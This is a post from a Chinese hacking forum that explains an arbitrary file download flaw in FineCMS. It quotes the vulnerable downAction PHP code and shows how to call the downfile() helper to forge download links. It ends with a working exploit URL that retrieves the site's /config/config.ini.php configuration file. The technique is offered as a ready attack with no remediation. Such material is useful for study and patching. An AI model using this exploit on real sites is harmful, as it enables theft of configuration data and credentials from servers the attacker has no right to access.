黑帽联盟

 找回密码
 会员注册
查看: 1791|回复: 0
打印 上一主题 下一主题

[系统安全] Finecms 任意文件下载

[复制链接]

895

主题

38

听众

3322

积分

管理员

Rank: 9Rank: 9Rank: 9

  • TA的每日心情

    3 天前
  • 签到天数: 1643 天

    [LV.Master]伴坛终老

    漏洞文件:
    \controllers\ApiController.php Line 54
    1. public function downAction() {
    2.         $data = fn_authcode(base64_decode($this->get('file')), 'DECODE');
    3.         $file = isset($data['finecms']) && $data['finecms'] ? $data['finecms'] : '';
    4.         if (empty($file)) {
    5.             $this->msg(lang('a-mod-213'));
    6.         }
    7.         if (strpos($file, ':/')) {
    8.             //远程
    9.             header("Location: $file");
    10.         } else {
    11.             //本地
    12.             $file = str_replace('..', '', $file);
    13.             $file = strpos($file, '/') === 0 ? APP_ROOT.$file : $file;
    14.             if (!is_file($file)) {
    15.                 $this->msg(lang('a-mod-214') . '(#' . $file . ')');
    16.             };
    17.             header('Pragma: public');
    18.             header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT');
    19.             header('Cache-Control: no-store, no-cache, must-revalidate');
    20.             header('Cache-Control: pre-check=0, post-check=0, max-age=0');
    21.             header('Content-Transfer-Encoding: binary');
    22.             header('Content-Encoding: none');
    23.             header('Content-type: ' . strtolower(trim(substr(strrchr($file, '.'), 1, 10))));
    24.             header('Content-Disposition: attachment; filename="' . basename($file) . '"');
    25.             header('Content-length: ' . sprintf("%u", filesize($file)));
    26.             readfile($file);
    27.             exit;
    28.         }
    29.     }
    复制代码
    $file 可控。前台的链接如图:
    11.png

    并不用去分析如何加密得来的
    我们来看链接是怎么生成的
    找到/extensions/function.php Line 285
    1. function downfile($url) {
    2.     return url('api/down', array('file' => str_replace('=', '', base64_encode(fn_authcode(array('finecms' => $url), 'ENCODE')))));
    3. }
    复制代码
    $url 参数为文件路径
    我们本地直接调用这个函数 将我们想下载的文件路径作为参数就能得到下载链接
    12.png
    1. http://127.0.0.1//index.php?c=api&a=down&file=NDgwNTA0M2RFRXRkc1ZTaGNuczJBSjZTSk9KSDVTYnFqL251K0lNRjBQK0tla0FBTVpHM3dLbU8yVTNWaE1SYTRtRXRjUlQ3bDd4cGRQeVRKMGVlcDEvQjNRVlA4bTNnMi9SZDRDSjBOUQ
    复制代码
    1. NDgwNTA0M2RFRXRkc1ZTaGNuczJBSjZTSk9KSDVTYnFqL251K0lNRjBQK0tla0FBTVpHM3dLbU8yVTNWaE1SYTRtRXRjUlQ3bDd4cGRQeVRKMGVlcDEvQjNRVlA4bTNnMi9SZDRDSjBOUQ
    复制代码
    为/config/config.ini.php
    13.png
    帖子永久地址: 

    黑帽联盟 - 论坛版权1、本主题所有言论和图片纯属会员个人意见,与本论坛立场无关
    2、本站所有主题由该帖子作者发表,该帖子作者与黑帽联盟享有帖子相关版权
    3、其他单位或个人使用、转载或引用本文时必须同时征得该帖子作者和黑帽联盟的同意
    4、帖子作者须承担一切因本文发表而直接或间接导致的民事或刑事法律责任
    5、本帖部分内容转载自其它媒体,但并不代表本站赞同其观点和对其真实性负责
    6、如本帖侵犯到任何版权问题,请立即告知本站,本站将及时予与删除并致以最深的歉意
    7、黑帽联盟管理员和版主有权不事先通知发贴者而删除本文

    勿忘初心,方得始终!
    您需要登录后才可以回帖 登录 | 会员注册

    发布主题 !fastreply! 收藏帖子 返回列表 搜索
    回顶部